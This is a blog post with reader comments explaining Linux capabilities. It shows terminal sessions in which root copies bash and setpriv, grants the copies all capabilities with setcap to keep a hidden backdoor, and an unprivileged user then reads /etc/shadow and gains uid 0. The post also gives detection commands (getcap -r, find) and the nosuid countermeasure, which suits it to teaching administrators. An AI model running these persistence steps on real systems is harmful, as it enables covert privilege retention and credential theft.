As an infrastructure engineer (3rd line support) with a healthy interest in
security I like to discover and play with the less well known features of
technology. It is surprising how many people are not aware of these, even some
senior administrators, yet such features can offer both strong mechanisms to
improve the security of a system and strong mechanism for a more nefarious
individual to compromise or otherwise abuse that system.
One of these are Linux Capabilities, which can be thought of a division of root's capabilities into discrete parts, such as the ability to open a privileged port or bypass discretionary access controls. This allows for a more fine-grained approach to security. Rather than a user or process having root privileges or not, they can have a subset.
If the process is
"capabilities aware", then rather than the traditional
"become_root" and "unbecome_root" functions that a SUID
root process may use to protect itself, it can enable/disable the specific bits
it needs. For example, if you only want to open a privileged port, you don't
need to enable the ability to read/write any file.
Solaris has something similar - Privileges - but here I'm going to concentrate on the Linux variant.
Processes and files can have a number of "capability sets". These are bitmasks of the discrete capabilities. Of particular interest are:
Permitted - this is the set of capabilities that the process or file can assume
Effective - this is the set of capabilities that the process or file has
Inheritable - this is the set of capabilities that are preserved across an exec or fork e.g. that can be passed on to a sub-process.
The possible configurations are quite extensive, so reading the man page is encouraged. But let's look at some examples.
First, the classic example; ping. On older distributions this was SUID root to allow it to open raw sockets. However, on CentOS 7.1 for example, it isn't. Instead we now use capabilities:
[root@centos7-1 ~]# ls -l /bin/ping
-rwxr-xr-x. 1 root root 44896 Jun 23 2015 /bin/ping
[root@centos7-1 ~]# getcap /bin/ping
/bin/ping = cap_net_admin,cap_net_raw+p
In addition to 'getcap', we can also view the capabilities of a process in a number of ways, such as using the proc filesystem:
[root@centos7-1 ~]# grep ^Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
Or 'getpcaps' to give a more friendly output:
[root@centos7-1 ~]# getpcaps $$
Capabilities for `3506': = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,35,36+ep
However, as you probably noticed when we listed the 'ping' executable, other than the colour (if use are using ls with colours set), there are no obvious signs that it is a privileged file. Indeed, the traditional 'find' for SUID/SGID files won't show this up. So, unless you are looking for them, these are good places to hide.
So, if an adversary has root and wishes to maintain privileged access, but stay off the radar, they may try a capabilities enabled shell:
[root@centos7-1 mnt]# cp -p /bin/bash /mnt/myBash
[root@centos7-1 mnt]# setcap all+epi /mnt/myBash
[root@centos7-1 mnt]# getcap /mnt/myBash
/mnt/myBash =eip
Then as a non-privileged user we can try this:
[paul@centos7-1 ~]$ /mnt/myBash
[paul@centos7-1 ~]$ wc -l /etc/shadow
wc: /etc/shadow: Permission denied
That is because the processes initial inheritable set (the non-privileged user) is empty and on an exec it is and'ed with the inheritable set of the file. But this is easy to work around; we just get myBash to open the file and hand over the contents to the child:
[paul@centos7-1 ~]$ grep ^Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
[paul@centos7-1 ~]$ wc -l < /etc/shadow
20
But, as an adversary, I feel we can do better. Luckily, rather than rolling our own program to make the relevant system calls to the kernel, we also have a program called setpriv. This unprivileged executable allows a privileged caller to set the inheritable capability set of a process and its uid/gid. So, if we were to create our own privileged copy:
[root@centos7-1 mnt]# cp -p /bin/setpriv /mnt/mySetpriv
[root@centos7-1 mnt]# setcap all+epi /mnt/mySetpriv
[root@centos7-1 mnt]# getcap /mnt/mySetpriv
/mnt/mySetpriv =eip
And then use it as an unprivileged user:
[paul@centos7-1 ~]$ echo $0
-bash
[paul@centos7-1 ~]$ /mnt/mySetpriv --inh-caps +all --reuid 0 /bin/bash
[root@centos7-1 ~]# id -a
uid=0(root) gid=1000(paul) groups=0(root),10(wheel),1000(paul) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Success. The problem is that this shows up as root:
[root@centos7-1 ~]# ps -fp $$
UID PID PPID C STIME TTY TIME CMD
root 3693 3455 0 09:17 pts/0 00:00:00 /bin/bash
Instead, let's combine the inheritable set for the process with the privileged shell:
[paul@centos7-1 ~]$ /mnt/mySetpriv --inh-caps +all /mnt/myBash
[paul@centos7-1 ~]$ wc -l /etc/shadow
wc: /etc/shadow: Permission denied
Well that didn't work; but as we are in a capabilities environment, our capabilities are determined by the relationship between the process and files capabilities. This time we lost the permitted set:
[paul@centos7-1 ~]$ /bin/bash
[paul@centos7-1 ~]$ grep ^Cap /proc/$/status
CapInh: 0000001fffffffff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000001fffffffff
But then there are a multitude of ways we can play with this; just limited to your imagination. e.g. short "one-off" commands via mySetperm will probably get missed by an admin running 'ps'.
Fortunately, one good countermeasure is that setting a filesystem as "nosuid" also disables files from taking on capabilities. But if an adversary is using it to maintain access, then any writable "suid" permitted filesystem will do.
The key is that 'find' SUID won't work, you need to be looking for these privileged files as well.
Finally, if you are looking at assigning users restricted capabilities, you may find pam_setcap of interest.
How do you 'find' files with capabilities?
ReplyDelete# find / -type f -exec getcap {} \; 2>/dev/null
ReplyDeleteThe problem with directly using "find ... -exec" is that it has to spawn a process for each file, which can be expensive. If you wish to make use of the predicates in find to limit what you check (e.g. not crossing filesystem boundaries), something like the following may be more appropriate, since 'getcap' can take multiple filenames:
ReplyDelete# find /usr -type f -print0 | xargs -0 getcap
Alternatively, as with most commands, getcap has a '-r' option to run recursively. So, something like this also works:
# getcap -r /usr
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/bin/ping6 = cap_net_admin,cap_net_raw+p
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/dumpcap = cap_net_admin,cap_net_raw+ep